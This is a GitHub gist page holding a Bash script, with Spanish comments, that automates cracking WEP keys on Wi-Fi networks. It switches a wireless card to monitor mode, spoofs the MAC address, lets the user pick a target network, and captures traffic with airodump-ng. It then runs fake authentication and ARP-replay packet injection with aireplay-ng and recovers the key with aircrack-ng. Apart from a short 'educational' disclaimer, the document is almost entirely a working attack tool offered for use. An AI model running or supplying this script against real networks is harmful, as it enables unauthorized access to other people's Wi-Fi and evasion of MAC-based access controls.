Skip to content

Instantly share code, notes, and snippets.

@hmert
Forked from r00tw33d/aire.sh
Created December 8, 2010 22:08
Show Gist options
  • Save hmert/734001 to your computer and use it in GitHub Desktop.
Save hmert/734001 to your computer and use it in GitHub Desktop.
#!/bin/bash
# aire.sh
# Este script utiliza las siguientes herramientas:
# macchanger, aircrack-ng [sudo apt-get install macchanger aircrack-ng]
# Su finalidad es semi-automatizar el crackeo de WEP keys (únicamente WEP, no WPA)
# con una poca interveción del usuario
#
#####################################################################################.
# Disclaimer: #
# Este script está echo con fines educativos. Por favor, se conciente si #
# lo utilizas ;) #
# Robar Wi-Fi es ilegal. #
#####################################################################################.
function usage {
echo $'\n\tUso:' $0 '<interface> [MAC-address|--dont-fake]'
echo $'\tEj.\n\t\t ' $0 $'wlan0 --dont-fake\n'
}
function select_interface {
echo Buscando alternativas...
INTERFACES=`iwconfig 2>&1 | grep 802.11 | wc -l`
if [ $INTERFACES -gt 1 ]; then
echo $'Especifike un número de la lista:\n'
iwconfig 2>&1 | grep 802.11 | awk '{print "\t"NR ") " $1}'
echo
read IFACEID
INTERFAZ=`iwconfig 2>&1 | grep 802.11 | awk '{print $1}' | head -n $IFACEID | tail -n 1`
if [ -z $INTERFAZ ]; then
echo No ha seleccionado un número de la lista. Abortando...
exit
fi
else
INTERFAZ=`iwconfig 2>&1 | grep 802.11 | awk '{print $1}'`
fi
}
# Verificando interfaz de red
if [ -z "$1" ]; then
echo No se proporcionó interfaz de red.
select_interface
else
PROBE=`iwconfig 2>&1 | grep 802.11 | grep ^$1`
if [ -z "$PROBE" ]; then
echo La interfaz proporcionada no es válida.
select_interface
else
INTERFAZ=$1
fi
fi
echo Trabajando con la interfaz $INTERFAZ...
# Comprobando permisos
if [ "$(id -u)" -eq 0 ]; then
# Verificando interfaz en modo Monitor
PROBE=`iwconfig > .wlan;cat .wlan | grep Monitor`
rm .wlan
if [ -z "$PROBE" ]; then
echo 'Levantando interfaz modo Monitor...'
IFACE=`airmon-ng start $INTERFAZ | tail -n2 | awk '{a=$5; print substr(a,0,length(a)-1)}'`
else
IFACE=`echo $PROBE | cut -d " " -f1`
fi
echo $IFACE '... interfaz configurada.'
# Configurando MAC address
if [ "$2" == "--dont-fake" ]; then
echo 'Conservando la MAC address actual...'
NEWMAC=`ifconfig $INTERFAZ | grep HW | awk '{print $5}'`
else
ifconfig $INTERFAZ down; ifconfig $IFACE down
if [ -z "$2" ]; then
echo 'Reestableciendo direcciones físicas...'
FALSA=`macchanger -A $INTERFAZ`
NEWMAC=`macchanger -a $INTERFAZ | grep Faked | awk '{print $3}'`
macchanger -m $NEWMAC $IFACE | grep Faked
else
echo "Se usará $2 como dirección MAC"
RES=`macchanger -m $2 $INTERFAZ | grep Faked`
if [ -z "$RES" ]; then
echo 'No especificó una MAC address válida. Abortando.'
ifconfig $INTERFAZ up; ifconfig $IFACE up
exit
fi
macchanger -m $2 $IFACE | grep Faked
NEWMAC=$2
fi
echo "Esperando 2 segundos..." && sleep 2 && echo done.
echo "Levantando interfaces de red...`ifconfig $INTERFAZ up;ifconfig $IFACE up`"
fi
echo "Escaneando las redes Wi-Fi..."
`sudo iwlist $INTERFAZ scann > .nets`
cat .nets | grep -E [C][e][l][l]\|[Q][u][a][l][i][t][y]\|[E][S][S][I][D]\|[C][h][a][n][n][e][l][:] > .info
cat .info
echo -n $'\nNumero de Célula [XX]: '
read CELL
echo 'Preparando el atake...'
# Se calcula ke informacion corresponde a la celula
let HEAD=CELL*4
cat .info | head -n$HEAD | tail -n4 > .nets
# Se extraen los datos del target
BSSID=`cat .nets | grep Address | awk '{print $5}'`
CHANNEL=`cat .nets | grep Channel | awk '{print substr($1,9,length($1))}'`
ESSID=`cat .nets | grep ESSID | awk '{a=substr($1,8,length($1));b=substr(a,0,length(a)-1);print b}'`
echo 'Comenzando el almacenamiento de IVs [tmp-0x.cap]...'
# sub-shell para la captura de datos
(xterm -e airodump-ng --channel $CHANNEL --bssid $BSSID --write tmp $IFACE &)
(while true; do
echo $'Lanzando la falsa autenticacion...\n(presione ctrl+c sobre la ventana para cerrarla)'
(xterm -e aireplay-ng --fakeauth=6000 -o 1 -q 10 -e $ESSID -a $BSSID -h $NEWMAC $IFACE)
echo -n "Ha funcionado la falsa autenticacion? (Y/n) "
read RES
if [ $RES = 'Y' ]; then
exit
fi
echo -n "Se necesita de una MAC autorizada [aa:bb:cc:dd:ee:ff]: "
read NEWMAC
if [ -z "$NEWMAC" ]; then
continue
fi
echo 'Reiniciando la interfaz con nueva MAC...'
ifconfig $IFACE down
RES=`macchanger -m $NEWMAC $IFACE | grep Faked`
if [ -z "$RES" ]; then
echo 'No especificó una MAC address válida. Configurando con cualkier otra.'
NEWMAC=`macchanger -a $IFACE | grep Faked | awk '{print $3}'`
fi
echo "Esperando dos segundos..." && sleep 2 && ifconfig $IFACE up
echo 'Reiniciando airodump-ng...'
rm tmp-0*
ps aux | grep airodump | grep -v color | kill -9 `awk '{print $2}'`
(xterm -e airodump-ng --channel $CHANNEL --bssid $BSSID --write tmp $IFACE &)
done)
echo 'Comenzando a inyectar paketes...'
(xterm -e aireplay-ng --arpreplay -e $ESSID -b $BSSID -h $NEWMAC $IFACE &)
echo 'Presione enter cuando hayan suficientes IVs'
read ENTER
echo 'Lanzando el atake del Kraken }=:^{}<<'
CRACKFILE=`ls | grep tmp-0*.cap | tail -n1`
aircrack-ng $CRACKFILE
echo 'Borrar archivos temporales? (y/n)'
read RES
if [ $RES = 'y' ]; then
rm tmp-0* replay_arp*.cap .info .nets
fi
echo 'Matando procesos =) ...'
ps aux | grep airodump | grep -v color | kill -9 `awk '{print $2}'` > /dev/null 2>&1
ps aux | grep aireplay | grep -v color | kill -9 `awk '{print $2}'` > /dev/null 2>&1
echo done. xD
else
echo Aborting. Are u r00t?
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment